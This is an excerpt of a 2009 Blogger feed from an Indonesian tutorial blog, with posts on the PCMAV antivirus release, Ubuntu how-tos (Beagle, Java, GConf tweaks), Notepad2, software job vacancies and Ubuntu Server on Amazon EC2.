src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3334778009451571990</id><published>2009-03-25T08:40:00.001+07:00</published><updated>2009-03-25T08:50:25.744+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><category scheme='http://www.blogger.com/atom/ns#' term='AntiVirus'/><title type='text'>PCMAV 2.0 Valkyrie Final</title><content type='html'>At the same time by it publishing PCMedia magazine 4/2009, hence PCMAV 2.0 opening launched. New Following in PCMAV 2.0:&lt;br /&gt;&lt;br /&gt;. * IMPROVED! new Implementation Module for management operate for memory and seeking of stable and quicker file.&lt;br /&gt;&lt;br /&gt;. * NEW! Intelligentscan ( iScan) engine for ClamAV to improve detection when engine ClamAV used. PCMAV generation of 1.x griped many hit tardy what a him PCMAV when joined forces with engine ClamAV. To that we research into circumstantial to develop a engine addition, is expected, can improve performance PCMAV when joined forces with engine ClamAV. Its result, create iScan for ClamAV which as surely can improve performance scan PCMAV+ClamAV 40% quicker.&lt;br /&gt;&lt;br /&gt;. * NEW ! Realtime Protector (RTP) for Vista and Windows 7.7. RTP fluent ambulatory now stable and in Windows Vista. Special to Windows 7,7, although enough go well&lt;br /&gt;&lt;br /&gt;. * NEW! Virus Quarantine ( quarantine) for the insulation of suspected by theX files have virus to peaceful place and protected before brought an action against furthermore, be like abolition and repair of file. If actually the file not dangerous ( false alarm), hence returnable to location early where do the file come. Number click at info Quarantined to step into the quarantine menu. Folder and file “\ quarantine\quarantine.dat” automatically will be formed when PCMAV run for the first time its in harddisk. Download, &lt;a href="http://www.ziddu.com/download/3946806/PCMAV20.zip.html" target="_blank"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;NEW! Fresh-Look with new appearance which more simpel, smart, informative, and it is of course please.&lt;br /&gt;. * BUG FIXED! Mistake detect ( false alarm) heuristik [at] some programs and script.&lt;br /&gt;. * IMPROVED! especial Database Virus ( pcmav.vdb) is now [released] from especial module and with file update the virus database ( update.vdb) put down in folder “\ vdb”&lt;br /&gt;. * IMPROVED! Engine and CVD additional ClamAV ( 0.9x) now is obliged to be put down in folder “\ plugins\ClamAV”&lt;br /&gt;. * IMPROVED! Added by theX the identification database and cleaner of 54 virus newly reported disseminate in Indonesia. Totalize 2614 virus along with his variant which circulating many in Indonesia have been recognized in version of 2.0.0 this by core engine PCMAV.&lt;br /&gt;. * IMPROVED! Change some virus names follow the new variant which found.&lt;br /&gt;. * IMPROVED! Repair some minor bug internal code to ensure that PCMAV fixed can become antivirus Indonesia pride.&lt;br /&gt;Download, &lt;a href="http://www.ziddu.com/download/3946806/PCMAV20.zip.html" target="_blank"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-3334778009451571990?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3334778009451571990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/3334778009451571990'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/03/pcmav-20-valkyrie-final.html' title='PCMAV 2.0 Valkyrie Final'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-6284667957402799872</id><published>2009-03-25T08:33:00.001+07:00</published><updated>2009-03-25T08:40:16.124+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Search Your Computer</title><content type='html'>Have Beagle find and fetch your information faster than you thought possible. &lt;br /&gt;One of Linux's weaker points as a desktop OS has been the lack of a search feature. Nautilus has had a "find this file" function for quite some time, but it's really not much more sophisticated than a GUI wrapper around the command-line find command. Both Nautilus and the find command do similar things: they'll look at each and every file in the directory structure, trying to find a match for the criteria you've given them.&lt;br /&gt;There is a better way to search a filesystem. It involves creating an index of all the files on that filesystem, which enables you to search the index much like you would a database. This is what Windows and Mac OS X do for their file-search capabilities, and now Linux has it too in the form of Beagle, a modular search engine that's written in Mono. It's easy to add Beagle to Ubuntu, and the usability benefits are tremendous.&lt;br /&gt;Installing Beagle&lt;br /&gt;In this hack, you'll be installing Beagle and a very cool search frontend known as deskbar-applet. deskbar-applet sits in your GNOME panel and enables all manner of search goodness for you. As with many optional goodies, you'll need to have the universe repository enabled to install both of these packages. Now, open up a terminal and install beagle and deskbar-applet:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;:~$ sudo aptitude install beagle deskbar-applet&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Starting beagled&lt;br /&gt;Once you've got beagle and deskbar-applet installed, you'll need to start beagled (the main engine and database) manually. From a terminal, you'll simply run beagled. It should start and detach from your terminal, and run in the background:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;:~$ beagled&lt;/span&gt;&lt;br /&gt;            &lt;br /&gt;It will then begin the process of indexing your hard disk(s). This will take a while, depending on the amount and type of data you have. We have seen beagled take up to three hours to fully index a disk. If you're running beagled on a laptop, you may want to make sure it's plugged into AC power, because the high I/O from beagled's initial indexing could drain your battery. While beagled is indexing, you can set up your GNOME desktop to automatically start beagled when you log in. Simply click on the System Menu, and select Preferences and then Sessions. Add beagled to your Startup Programs, and it will be ready to fetch stuff for you on your next login.&lt;br /&gt;&lt;br /&gt;Using Beagle and deskbar-applet&lt;br /&gt;Now that the Beagle daemon is running, it's time to add deskbar-applet to the mix. The deskbar applet is a GNOME applet, so add it to one of the GNOME panels by right-clicking on the panel and selecting "Add to Panel." Select Deskbar, click Add, and then close the window. You'll see the deskbar in your panel now.&lt;br /&gt;At this point, you can put criteria into the deskbar applet and go ahead and search for something If you put your search criteria in the applet and click the little magnifying glass, you can tell the deskbar applet to search any one of a number of databases, including Beagle, which is not enabled by default. (The default search can be changed in the preferences for deskbar-applet; simply right-click on the applet and select Preferences to adjust it.)&lt;br /&gt;Once you click on "Search for...using Beagle," Beagle takes over, digging through its index and fetching the proper results. By default, Beagle will search the files in your home directory, as well as metadata like email archives, instant messages, and blog posts. It doesn't matter where the data is; Beagle will fetch it for you&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-6284667957402799872?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6284667957402799872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/6284667957402799872'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/03/search-your-computer.html' title='Search Your Computer'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5640140974492766523</id><published>2009-03-15T21:20:00.001+07:00</published><updated>2009-03-15T21:22:31.160+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><title type='text'>Notepad2</title><content type='html'>A few years ago, I found myself writing my first PHP projects using metapad. When I was looking around for text editors with syntax highlighting, I have come across the Scintilla source code editing component. I was very much impressed by this project, so I decided to create my own Scintilla-based text editor.&lt;br /&gt;&lt;br /&gt;The result is Notepad2, a fast and light-weight Notepad-like text editor with syntax highlighting. This program can be run out of the box without installation, and does not touch your system's registry. Download, &lt;a href="http://www.ziddu.com/download/2900654/notepad2.zip.html" target="_blank"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5640140974492766523?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5640140974492766523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5640140974492766523'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/03/notepad2.html' title='Notepad2'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-7543786326135642349</id><published>2009-03-03T09:18:00.000+07:00</published><updated>2009-03-03T09:19:38.421+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Install Java</title><content type='html'>The modern web-browsing experience requires Java. Here's how to install Java and caffeinate your web browser. &lt;br /&gt;Ubuntu's an amazing Linux distribution for lots of different reasons, but one of the things people find attractive about it is the fact that it ships with lots of different software, preconfigured and ready to use. However, until recently, one of the things that the Ubuntu developers couldn't include was the Sun Java Runtime Environment (JRE), because it used a nonfree license that prevented its bundling with a Linux distribution.&lt;br /&gt;Recently, however, Sun Microsystems relaxed the restrictions on the Java license, introducing the Distro License for Java (DLJ). This new license allows distributors to ship Sun's JRE and Java Development Kit (JDK) as installable packages, rather than the self-extracting binaries that were previously available. It also gives Linux distributors the ability to define the packaging, installation, and support for Java within their Linux distribution.&lt;br /&gt;As such, Dapper Drake now ships with Sun's Java available as a non-free package in the multiverse repository. You'll need to have the universe and multiverse repositories enabled to install Java.&lt;br /&gt;The Ubuntu developers have separated the Java components into several packages:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;sun-java5-bin&lt;br /&gt;Contains the binaries&lt;br /&gt;sun-java5-demo&lt;br /&gt;Contains demos and examples&lt;br /&gt;sun-java5-doc&lt;br /&gt;Contains the documentation&lt;br /&gt;sun-java5-fonts&lt;br /&gt;Contains the Lucida TrueType fonts from the JRE&lt;br /&gt;sun-java5-jdk&lt;br /&gt;Contains the metapackage for the JDK&lt;br /&gt;sun-java5-jre&lt;br /&gt;Contains the metapackage for the JRE&lt;br /&gt;sun-java5-plugin&lt;br /&gt;Contains the plug-in for Mozilla-based browsers&lt;br /&gt;sun-java5-source&lt;br /&gt;Contains source files for the JDK&lt;br /&gt;Installing the Java Runtime Environment&lt;br /&gt;Once you've got the multiverse repository enabled, installing Sun's Java package is easy. Simply open a terminal window and apt-get the package. Since you are going to be installing the JRE and the web browser plug-in, you'll be using the following command from a terminal window:&lt;br /&gt;bill@constellation:~$ sudo apt-get install sun-java5-jre sun-java5-plugin \\&lt;br /&gt;                                    sun-java5-fonts&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Once apt-get downloads the packages and begins the installation, you'll get a screen that contains the Sun Operating System Distributor License for Java. Read the license, if you wish, and hit Enter to continue. You'll see a dialog that asks you if you agree with the DLJ license terms. Select Yes, and hit Enter; the JRE will finish installing.&lt;br /&gt;At this point, Java is installed.&lt;br /&gt;Confirming the Installation&lt;br /&gt;You'll want to confirm that your system is configured properly for Sun's JRE. This is a two-step process. First, check that the JRE is properly installed by running the following command from a terminal. You should get similar output:&lt;br /&gt;bill@constellation:~$ java -version&lt;br /&gt;java version "1.5.0_06"&lt;br /&gt;Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_06-b05)&lt;br /&gt;Java HotSpot(TM) Client VM (build 1.5.0_06-b05, mixed mode, sharing)&lt;br /&gt;If you see an unexpected version of Javain particular, one identified as "gij (GNU libgcj)"then you probably have GNU Java installed. You can easily switch from one Java to another with the command sudo update-alternatives --config java, which will prompt you to choose which Java implementation to use. Pick the one in /usr/lib/jvm to use the JRE you just installed.&lt;br /&gt;If the JRE is properly installed, confirm that the Java plug-in is installed in your browser by opening Firefox and typing about:plugins in the address bar &lt;br /&gt;Congratulations, you've caffeinated your browser! You can now surf to Java-enabled web sites and use Java applications!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-7543786326135642349?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7543786326135642349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/7543786326135642349'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/03/install-java.html' title='Install Java'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-2424850586805732861</id><published>2009-03-03T08:58:00.002+07:00</published><updated>2009-03-03T09:14:22.666+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>Java Software Engineer (Senior &amp; Junior)</title><content type='html'>PT. AXIS GLOBAL INTEGRASI, a subsidiary company of PANCA BUDI GROUP, is a fast-growing Software Vendor and System Integrator in Indonesia. We provide the best integrated and comprehensive Business Applications, which includes Asset Management System, Financial Accounting System, Production &amp; Manufacturing System, Human Resource &amp; Payroll System, Customer Relationship Management, Business Intelligence, etc. &lt;br /&gt;&lt;br /&gt;Currently we are looking for professionals and qualified people for the position below: &lt;br /&gt;General Requirement :&lt;br /&gt;    *&lt;br /&gt;      Male or Female&lt;br /&gt;    *&lt;br /&gt;      Degree in Information Technology, Computer Science, Informatics or Engineering from reputable University&lt;br /&gt;    *&lt;br /&gt;      Discipline, outspoken, result and action oriented&lt;br /&gt;    *&lt;br /&gt;      Independent and quick learner, hard-worker, self motivated, self starer and a good team player&lt;br /&gt;    *&lt;br /&gt;      Good communication in English (written and spoken)&lt;br /&gt;&lt;br /&gt;Specific Requirement :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;    *&lt;br /&gt;      Minimum 1-2 years (for Junior level) or 2-5 years (for Senior level) working experience in J2EE application projects&lt;br /&gt;    *&lt;br /&gt;      Solid working experience in Java (J2SE) &amp; J2EE and good object-oriented modeling/design/development skills.&lt;br /&gt;    *&lt;br /&gt;      Strong working experience using JSP, Servlet, Struts, Spring, JQuery, JBoss Seam and JBoss Application Server.&lt;br /&gt;    *&lt;br /&gt;      Strong working experience using the following middleware: Hibernate, iBatis, EJB.&lt;br /&gt;    *&lt;br /&gt;      Familiar with Code Versioning system (CVS and SubVersion), Windows and UNIX operating system.&lt;br /&gt;    *&lt;br /&gt;      Fast learning for coding editor (e.g.: Eclipse, Netbeans).&lt;br /&gt;    *&lt;br /&gt;      Good working experience on databases (Oracle, MySQL).&lt;br /&gt;    *&lt;br /&gt;      Have knowledge on database design and development.&lt;br /&gt;    *&lt;br /&gt;      Comprehensive understanding on OOP concept and MVC design concept.&lt;br /&gt;    *&lt;br /&gt;      Have the ability to analyze &amp; resolve reported problems to ensure business continuity of customers.&lt;br /&gt;    *&lt;br /&gt;      Able to lead a team of Java/J2EE developers (for Senior level).&lt;br /&gt;&lt;br /&gt;We recruits the best-in-class professionals to deliver best of breed IT solutions and services to our customers.&lt;br /&gt;&lt;br /&gt;Send your comprehensive Resume/CV in MS.Word/OpenOffice/PDF format to email: hrd@axisglobal.co.id and CC to: hrd@pancabudi.com&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-2424850586805732861?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2424850586805732861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2424850586805732861'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/03/java-software-engineer-senior-junior.html' title='Java Software Engineer (Senior &amp; Junior)'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8635076259406843262</id><published>2009-01-30T14:52:00.000+07:00</published><updated>2009-01-30T15:13:24.134+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Get Under the Hood of the GNOME Desktop</title><content type='html'>GNOME, the default Ubuntu desktop, is a powerful environment with a lot of features. Here is the information you need to quickly get up to speed on how to customize it. &lt;br /&gt;Recently, the GNOME desktop seems to have lost some features. Looking around on mailing lists and reading people's blogs, you'll often find gripes about how some feature that was someone's personal favorite no longer exists. In reality, GNOME has far more features and configuration options available now than it ever had in the pastthey're just hidden from sight, with users shown only the most commonly used options in the standard interface. This has the effect of making GNOME simpler and easier to use for the average person, but it also makes it a prime target for getting under the hood and tweaking the deskop to suit your own tastes if you're an advanced user and want everything to work just the way you like it.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Configuration Nirvana: the Configuration Editor&lt;br /&gt;&lt;br /&gt;GNOME provides a central mechanism called GConf for storing user preferences on behalf of individual applications. Instead of writing out their own preferences files and then parsing them again to read values back in, applications can simply use the GConf API. This has a number of benefits, such as the ability to share preference settings among applications and have preferences applied immediately to all running applications.&lt;br /&gt;The GConf database is structured like a simple filesystem, containing keys organized into a tree hierarchy. Each key can be a directory that contains more keys, or it can have an actual value of its own. For example, the key /apps/nautilus/preferences is a key that contains other keys (in a similar manner to a directory), and inside it is the /apps/nautilus/preferences/background_color key with a default value of #ffffff. While keys are expressed as paths, as in a filesystem, they don't actually exist on disk in that way: they are stored in an XML document, with the path representing the nested items within it.&lt;br /&gt;GConf has several tools that you can use to directly browse, query, and manipulate the database using either a GUI or the command line. Configuration Editor provides a very nice graphical interface to the database, but it doesn't appear in Ubuntu's Applications menu by default, so you can launch it from the command line:&lt;br /&gt;$ gconf-editor&lt;br /&gt;&lt;br /&gt;Alternatively, you can edit the Applications menu and add it. Go to &lt;br /&gt;Applications  – Accessories - Alacarte Menu Editor, select System Tools, and turn on Configuration Editor&lt;br /&gt;&lt;br /&gt;Once you close the Menu Editor and return to the Applications menu, you'll find a new entry for Configuration Editor under System Tools.&lt;br /&gt;When you open Configuration Editor, you'll notice that there is no Save button and all changes you make are applied immediatelyso be careful! Browse around to see what options you can set for various applications, including Nautilus (the GNOME file manager) and Metacity (the default window manager). To get started, here are some specific options you can tweak with the gconf-editor:&lt;br /&gt;&lt;br /&gt;Icons on desktop&lt;br /&gt;The default Ubuntu desktop configuration is totally empty: no trash can, no computer icon, no home icon. In Configuration Editor, go to /apps/nautilus/desktop to see options to turn on or off a variety of desktop icon&lt;br /&gt;Empty trash without warnings&lt;br /&gt;Emptying the trash generates an annoying confirmation message that has to be clicked, but you can suppress the confirmation by turning off /apps/nautilus/preferences/confirm_trash.&lt;br /&gt;And if you want to be able to bypass the Trash entirely and delete files by right-clicking on them, turn on apps/nautilus/preferences/enable_delete to add a "Delete" option to the right-click contextual menu. Now you can delete items immediately without sending them to the Trash first!&lt;br /&gt;&lt;br /&gt;Open files with a single click&lt;br /&gt;GNOME's default behavior is for a single-click to select files and a double-click to open them, but KDE and some other environments use a web-like "hot links" metaphor, in which files open on a single click. To enable the same behavior in GNOME, go to /apps/nautilus/preferences/click_policy and replace the double value with single.&lt;br /&gt;Scripting GConf&lt;br /&gt;Automating changes to the GConf database is easy with tools such as gconftool, which is a command-line GConf client. Use it to read or set specific values in the database as well as explore its structure.&lt;br /&gt;Recursively walk through parts of the database structure by specifying a starting point and using the -R (recursive read) option:&lt;br /&gt;$ gconftool -R /apps/nautilus&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Get the attribute type of a specific key using the -T (type) option:&lt;br /&gt;$ gconftool -T /apps/nautilus/preferences/enable_delete&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Read specific values by explicitly setting the key and using the -g (get) option:&lt;br /&gt;$ gconftool -g /apps/nautilus/preferences/enable_delete&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Write values by specifying the data type, using the -s (set) flag, the key, and the new value:&lt;br /&gt;$ gconftool -t bool -s /apps/nautilus/preferences/enable_delete true&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Writing values like this is a good way to demonstrate that changes really are immediate. Open up Configuration Editor and browse to /apps/nautilus/preferences/. Then watch the "enable_delete" checkbox while you set and unset the value using gconftool.&lt;br /&gt;Once you get started, you'll find that your imagination is the limit when it comes to scripting GConf! For example, you could write a script that pulls down a webcam image every 10 minutes and then calls gconftool to set it as your desktop background. Make sure the image filename is different each time; otherwise, GConf won't see the change, and the background won't change:&lt;br /&gt;$ gconftool -t string -s /desktop/gnome/background/picture_filename \\&lt;br /&gt;                 /home/jon/CamImages/Pic53332.jpg&lt;br /&gt;            &lt;br /&gt;Or you could set up a script to use XPlanet to generate an updated view of Earth and set it as your desktop background, and then call it from cron every 30 minutes. Install XPlanet:&lt;br /&gt;$ sudo apt-get install xplanet xplanet-images&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Then create a script to execute it. If you don't know the latitude and longitude of your city, you can probably find it (or a nearby city) in Wikipedia (http://www.wikipedia.org). Just adjust the following script to suit your location and screen resolution:&lt;br /&gt;#!/bin/sh&lt;br /&gt;rm -f /tmp/earth-*.jpg;&lt;br /&gt;IMAGE=/tmp/earth-\Qdate +%s\Q.jpg;&lt;br /&gt;nice xplanet -num_times 1 -output $IMAGE -geometry 1280x1024 \\&lt;br /&gt;-longitude 96 -latitude 0;&lt;br /&gt;gconftool -t string -s /desktop/gnome/background/picture_filename $IMAGE;&lt;br /&gt;&lt;br /&gt;You can also use gconftool as a convenient way to add new URI handlers to GNOME. For example, to specify that you want tel: links to execute your Vonage client and initiate a call, you can run the following commands:&lt;br /&gt;$ gconftool -t string -s /desktop/gnome/url-handlers/tel/command \\&lt;br /&gt;                 "bin/vonage-call %s" &lt;br /&gt;$ gconftool -s /desktop/gnome/url-handlers/tel/needs_terminal false -t bool&lt;br /&gt;$ gconftool -t bool -s /desktop/gnome/url-handlers/tel/enabled true&lt;br /&gt;               &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8635076259406843262?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8635076259406843262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8635076259406843262'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/01/get-under-hood-of-gnome-desktop.html' title='Get Under the Hood of the GNOME Desktop'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1471801308001050294</id><published>2009-01-27T13:48:00.001+07:00</published><updated>2009-01-27T14:03:39.994+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>PHP Programmer</title><content type='html'>We are a fast growing transportation company with more than 25 years experience and linked with worldwide world’s top ten principals and partner. With more than 10 subsidiaries, our business has expanded in domestic and overseas area. We offered an integrated total transportation services included Sea/Air Freight Forwarding, Exhibition Forwarding, Custom Brokerage, Parcel and Courier Services, Trucking, Container Depot, Warehousing Containerized and Break Bulk Shipping, Midstream Transportation.&lt;br /&gt;&lt;br /&gt;We are looking for some highly dynamic and self motivated professionals to fill the following position as:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Qualifications:&lt;br /&gt;&lt;br /&gt;    * Female / Male, max 30 years old &lt;br /&gt;    * Min. bachelor degree in any discipline&lt;br /&gt;    * Having knowledge and skill in PHP is MUST&lt;br /&gt;    * Having knowledge and skill in Ms SQL Server and MYSQL&lt;br /&gt;    * Strong interpersonal and communication skill&lt;br /&gt;    * Having experience in Business Applcation Development&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Please send your application letter, CV, project portfolio and recent photograph to:&lt;br /&gt;&lt;br /&gt;recruitment@gpi-g.com&lt;br /&gt;&lt;br /&gt;ref. &lt;a href="http://id.jobsdb.com/id/EN/job.asp?R=JDBID027460382" target="_blank"&gt;jobsdb&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1471801308001050294?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1471801308001050294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1471801308001050294'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/01/php-programmer.html' title='PHP Programmer'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-1199819542019782010</id><published>2009-01-22T14:06:00.001+07:00</published><updated>2009-01-22T14:09:39.271+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu Server on Amazon - Beta programme now open</title><content type='html'>Ubuntu Server on Amazon gives you the power of Ubuntu combined with the flexibility of Amazon's cloud computing service. Ubuntu's modularity, virtualization capabilities, range of applications and optimised performance make it the perfect solution if you're deploying applications on Amazon's Elastic Computing (EC2) cloud.&lt;br /&gt;&lt;br /&gt;Ubuntu Server on Amazon has recently been announced as a beta programme. This service allows you to create a fully running instance ofUbuntu Server on EC2 in just a few clicks. All the applications you'll need such as a Web server, E-mail server and common development frameworks are available. The beta programme is open to anyone without charge from Canonical. Beta users will need to create an account with Amazon's Web Services and Amazon will charge you for your usage of EC2. &lt;br /&gt;&lt;br /&gt;Amazon Web Services enables users to deploy applications into a cloud computing environment. By using virtualized servers that are deployed on Amazon's EC2 service it's possible to build highly scalable on-demand systems. Whether you need a single server or a few hundred Amazon EC2 can provide new server instances whenever required. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Ubuntu Server Edition is an ideal software platform for your Amazon instances. Every element of Ubuntu is modular so you only need to include the parts you need, this makes the images more flexible and secure. Ubuntu's easy to set-up with a comprehensive range of applications and development frameworks that are easy to install. &lt;br /&gt;Participate in our beta programme&lt;br /&gt;&lt;br /&gt;The beta programme is open to anyone who'd like to try Ubuntu Server Edition on Amazon. You will need an account with Amazon Web Services. Amazon will charge you for your usage of their AWS services completely independently of Ubuntu. The beta programme is aimed at users who are familiar with EC2 as Canonical cannot provide advice on how to use Amazon's services. During the beta Canonical will provide assistance through a public mailing list for users of the Ubuntu image, We'll also inform you about new image updates.&lt;br /&gt;&lt;br /&gt;Details we'll need:&lt;br /&gt;&lt;br /&gt;    * Your Amazon AWS account number so that we can authorise your account to use our images. If you do not have one yet, please follow our instructions to create one.&lt;br /&gt;    * Agreement to enroll you on our EC2 beta programme mailing list. This will be our primary means to support you, get your feedback and will enable you to discuss your experiences with other beta programme members.&lt;br /&gt;&lt;br /&gt;We'll reply to you as quickly as possible with the details of how to create instances using our official images. &lt;br /&gt;Ubuntu on Amazon benefits&lt;br /&gt;Scalable computing&lt;br /&gt;&lt;br /&gt;The 'on demand' nature of cloud computing allow you to quickly expand capacity and you only pay for what you're using. There is no need to design your data centre or buy hardware to handle peak loads while only using a fraction of it during regular time. With cloud computing you simply allocate more instances as and when needed. This means that you can concentrate on your software and outsource the hardware aspects to the cloud provider.&lt;br /&gt;A free platform&lt;br /&gt;&lt;br /&gt;Ubuntu is free to use. We provide Amazon images of Ubuntu Server Edition, along with security and bug fixes. Ubuntu consists of Open Source software without licensing fees so you can deploy the same applications on the cloud as you would on your hardware. With over 20,000 packages and additional third party applications, you're sure to find an application or development framework for every requirement.&lt;br /&gt;Security and maintenance&lt;br /&gt;&lt;br /&gt;Ubuntu Server Edition on Amazon EC2 follows the standard Ubuntu maintenance life cycle. New versions are released every six months and are maintained with security and maintenance updates for 18 months (regular releases) or five years (LTS releases). Optimised for the cloud, instances can be deployed in a matter of minutes and provide best 